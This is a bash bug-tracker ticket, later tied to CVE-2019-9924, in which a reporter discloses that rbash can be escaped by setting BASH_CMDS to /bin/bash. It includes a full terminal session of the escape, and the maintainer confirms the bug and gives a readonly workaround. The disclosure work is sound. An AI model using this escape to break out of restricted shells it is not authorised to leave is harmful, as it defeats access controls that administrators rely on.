helpThe GNU Bourne-Again SHell - Support: sr #108969, rbash trivial restriction bypass...

 
 

sr #108969: rbash trivial restriction bypass with BASH_CMDS

Submitted by:  Sylvain Beucler <Beuc>
Submitted on:  Sun 14 Feb 2016 03:25:31 PM UTC  
 
Category:  None Priority:  5 - Normal
Severity:  3 - Normal Status:  Done
Privacy:  Public Assigned to:  None
Open/Closed:  Open Operating System:  GNU/Linux

Add a New Comment (Rich Markup)
   

You are not logged in

Please log in, so followups can be emailed to you.

 

Mon 25 Mar 2019 01:12:24 PM UTC, comment #5: 

I don't have write access to the open/closed status. I've never been able to mark a bug as closed.

Chet Ramey <chet>
Project Administrator
Mon 25 Mar 2019 01:10:05 PM UTC, comment #4: 

How about marking this bug as Public + Closed now?

(note: the CVE triggered a backport of the fix in various distros)

Sylvain Beucler <Beuc>
Mon 25 Mar 2019 01:03:14 PM UTC, comment #3: 

Sure. The CVE bar is extremely low.

Chet Ramey <chet>
Project Administrator
Mon 25 Mar 2019 12:19:29 PM UTC, comment #2: 

3 years later, this somehow got a CVE identifier:
https://nvd.nist.gov/vuln/detail/CVE-2019-9924

Sylvain Beucler <Beuc>
Tue 23 Feb 2016 08:18:00 PM UTC, comment #1: 

Good catch.  This is a genuine problem, even with the low bar the restricted shell sets.

It will be fixed in the next release.  Interested admins can set BASH_CMDS readonly to prevent it until then.

Chet Ramey <chet>
Project Administrator
Sun 14 Feb 2016 03:25:31 PM UTC, original submission:  

Hi,

When working on a security exercice at w3challs.com, I saw among the contributed solutions that rbash can be trivially escaped, even when the environment and PATH are properly setup, with a simple :

BASH_CMDS[xxx]=/bin/bash
xxx

A complete session accessing arbitrary commands :

$ PATH=/custom/bin rbash
restricted> id
rbash: id: command not found
restricted> /usr/bin/id
rbash: /usr/bin/id: restricted: cannot specify `/' in command names
restricted> PATH=/usr/bin:/bin
rbash: PATH: readonly variable
restricted> BASH_CMDS[xxx]=/bin/bash
restricted> xxx
$ /usr/bin/id
uid=1000(user) gid=1000(user) groups=1000(user)
$ PATH=/usr/bin:/bin
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

Are you aware of this evasion technique?

To me this is a security vulnerability, even considering the low expectations of rbash, hence setting this item's privacy as "Private".

Should BASH_CMDS be set a read-only as well?
WDYT?

Sylvain Beucler <Beuc>

 

(Note: upload size limit is set to 16384 kB, after insertion of the required escape characters.)

Attach Files:
   
   
Comment:
   

No files currently attached

 

Depends on the following items: None found

Items that depend on this one: None found

 

Carbon-Copy List
  • -email is unavailable- added by chet (Posted a comment)
  • -email is unavailable- added by Beuc (Submitted the item)
  •  

    Do you think this task is very important?
    If so, you can add your encouragement to it.
    This task has 0 encouragements so far.

    Only logged-in users can vote.

     

     

     

    Follow 2 latest changes.

    Date Changed by Updated Field Previous Value => Replaced by
    2019-03-25 chet PrivacyPrivate => Public
    2016-02-23 chet StatusNone => Done

    Back to the top


    Powered by Savane 3.5